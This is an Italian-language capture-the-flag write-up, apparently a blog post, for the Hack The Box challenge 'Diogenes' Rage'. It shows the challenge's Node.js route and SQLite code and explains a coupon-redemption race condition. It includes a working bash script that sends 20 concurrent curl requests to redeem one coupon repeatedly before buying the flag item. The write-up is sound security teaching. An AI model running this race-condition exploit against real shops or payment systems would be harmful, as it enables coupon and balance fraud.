Diogenes' Rage

Autore: Lord Shiva Aggiornamento: 30.07.2023 Tempo di lettura: 08 min.
 

 Apro il browser sull'ip di riferimento e mi compare la scheramta seguente:

Scarico i file necessari. Una volta scompattati trovo due file interessanti: index.js sotto routes

const fs             = require('fs');
const express        = require('express');
const router         = express.Router();
const JWTHelper      = require('../helpers/JWTHelper');
const AuthMiddleware = require('../middleware/AuthMiddleware');

let db;

const response = data => ({ message: data });

router.get('/', (req, res) => {
    return res.render('index.html');
});

router.post('/api/purchase', AuthMiddleware, async (req, res) => {
    return db.getUser(req.data.username)
        .then(async user => {
            if (user === undefined) {
                await db.registerUser(req.data.username);
                user = { username: req.data.username, balance: 0.00, coupons: '' };
            }
            const { item } = req.body;
            if (item) {
                return db.getProduct(item)
                    .then(product => {
                        if (product == undefined) return res.send(response("Invalid item code supplied!"));
                        if (product.price <= user.balance) {
                            newBalance = parseFloat(user.balance - product.price).toFixed(2);
                            return db.setBalance(req.data.username, newBalance)
                                .then(() => {
                                    if (product.item_name == 'C8') return res.json({
                                        flag: fs.readFileSync('/app/flag').toString(),
                                        message: `Thank you for your order! $${newBalance} coupon credits left!`
                                    })
                                    res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
                                });
                        }
                        return res.status(403).send(response("Insufficient balance!"));

                    })
            }
            return res.status(401).send(response('Missing required parameters!'));
        });
});

router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => {
    return db.getUser(req.data.username)
        .then(async user => {
            if (user === undefined) {
                await db.registerUser(req.data.username);
                user = { username: req.data.username, balance: 0.00, coupons: '' };
            }
            const { coupon_code } = req.body;
            if (coupon_code) {
                if (user.coupons.includes(coupon_code)) {
                    return res.status(401).send(response("This coupon is already redeemed!"));
                }
                return db.getCouponValue(coupon_code)
                    .then(coupon => {
                        if (coupon) {
                            return db.addBalance(user.username, coupon.value)
                                .then(() => {
                                    db.setCoupon(user.username, coupon_code)
                                        .then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
                                })
                                .catch(() => res.send(response("Failed to redeem the coupon!")));
                        }
                        res.send(response("No such coupon exists!"));
                    })
            }
            return res.status(401).send(response("Missing required parameters!"));
        });
});

router.get('/api/reset', async (req, res) => {
    res.clearCookie('session');
    res.send(response("Insert coins below!"));
});

module.exports = database => {
    db = database;
    return router;
};

Come possiamo vedere, alla riga 31 si scopre che la flag si ottiene con il prodotto C8. Ovviamente facendo una prova, notiamo che il credito del coupon non è sufficiente.
Altro file degno di nota è database.js

const sqlite = require('sqlite-async');

class Database {
    constructor(db_file) {
        this.db_file = db_file;
        this.db = undefined;
    }
    
    async connect() {
        this.db = await sqlite.open(this.db_file);
    }

    async migrate() {
        return this.db.exec(`
            DROP TABLE IF EXISTS userData;

            CREATE TABLE IF NOT EXISTS userData (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                username   VARCHAR(255) NOT NULL UNIQUE,
                balance    DOUBLE NOT NULL,
                coupons   VARCHAR(255) NOT NULL
            );

            DROP TABLE IF EXISTS products;

            CREATE TABLE IF NOT EXISTS products (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                item_name   VARCHAR(255) NOT NULL,
                price   DOUBLE NOT NULL
            );

            INSERT INTO products (item_name, price) VALUES ("A1", 0.55);
            INSERT INTO products (item_name, price) VALUES ("A2", 0.35);
            INSERT INTO products (item_name, price) VALUES ("A3", 0.25);
            INSERT INTO products (item_name, price) VALUES ("B4", 0.45);
            INSERT INTO products (item_name, price) VALUES ("B5", 0.15);
            INSERT INTO products (item_name, price) VALUES ("B6", 0.80);
            INSERT INTO products (item_name, price) VALUES ("C7", 0.35);
            INSERT INTO products (item_name, price) VALUES ("C8", 13.37);
            INSERT INTO products (item_name, price) VALUES ("C9", 0.69);

            DROP TABLE IF EXISTS coupons;

            CREATE TABLE IF NOT EXISTS coupons (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                coupon_code   VARCHAR(255) NOT NULL,
                value   DOUBLE NOT NULL
            );

            INSERT INTO coupons (coupon_code, value) VALUES ("HTB_100", 1.00);
        `);
    }

    async registerUser(username) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('INSERT INTO userData (username, balance, coupons) VALUES ( ?, 0.00,  "")');
                resolve((await stmt.run(username)));
            } catch(e) {
                reject(e);
            }
        });
    }

    async getUser(user) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('SELECT * FROM userData WHERE username = ?');
                resolve(await stmt.get(user));
            } catch(e) {
                reject(e);
            }
        });
    }

    async setBalance(username, balance) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('UPDATE userData SET balance = ? WHERE username = ?');
                resolve(await stmt.get(balance, username));
            } catch(e) {
                reject(e);
            }
        });
    }

    async getProduct(item) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('SELECT * FROM products where item_name = ?;');
                resolve(await stmt.get(item));
            } catch(e) {
                reject(e);
            }
        });
    }

    async getCoupons() {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('SELECT * FROM coupons;');
                resolve(await stmt.all());
            } catch(e) {
                reject(e);
            }
        });
    }

    async getCouponValue(coupon_code) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('SELECT value FROM coupons WHERE coupon_code=?;');
                resolve(await stmt.get(coupon_code));
            } catch(e) {
                reject(e);
            }
        });
    }

    async addBalance(user, coupon_value) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('UPDATE userData SET balance = balance + ? WHERE username = ?');
                resolve((await stmt.run(coupon_value, user)));
            } catch(e) {
                reject(e);
            }
        });
    }

    async setCoupon(user, coupon_code) {
        return new Promise(async (resolve, reject) => {
            try {
                let stmt = await this.db.prepare('UPDATE userData SET coupons = coupons || ? WHERE username = ?');
                resolve((await stmt.run(coupon_code, user)));
            } catch(e) {
                reject(e);
            }
        });
    }

}

module.exports = Database;

Guardando il file del database, non ci sono blocchi o transazioni. Il saldo di un utente viene aggiunto in SQL e non in JS, quindi memorizzato in SQL: SET balance = balance + ?.
Se più richieste HTTP tentano di accedere al coupon prima che l'SQL venga aggiornato, il coupon viene invalidato.

Exploit

L'exploit si articola in tre fasi fondamentali:

  • Tentare di acquistare l'articolo, creando una nuova sessione e memorizzando il cookie.
  • Eseguire un gruppo di richieste HTTP in contemporanea per sfruttare la condizione di gara.
  • Acquistare nuovamente l'oggetto.

Di seguito lo script in bash che potete trovare anche su mio git.

#!/usr/bin/env bash

set -euo pipefail

TARGET=127.0.0.1:1337

function pulizia {
  rm jar 2>&1 > /dev/null || true
}

trap pulizia EXIT

# genera un utente sul server e memorizza il cookie localmente
curl -s -c jar -b jar "http://${TARGET}/api/purchase" -d 'item=C8' 2>&1 > /dev/null

# exploit
for i in {1..20}; do
  curl -s -c jar -b jar "http://${TARGET}/api/coupons/apply" -d 'coupon_code=HTB_100' 2>&1 > /dev/null &
done

# aspettare che curl finisca
echo "attendere per qualche secondo..."
sleep 2

curl -s -c jar -b jar "http://${TARGET}/api/purchase" -d 'item=C8' | grep -oE '"HTB{.*}"' || echo "exploit fallito, riprovare"

# se avete installato jq potete usare il seguente comando commentato
# curl -s -c jar -b jar http://139.59.180.127:32556/api/purchase -d 'item=C8' | jq -r '.flag'

Una volta eseguito lo script otterrete la vostra flag.

HTB{r4c....................1sm}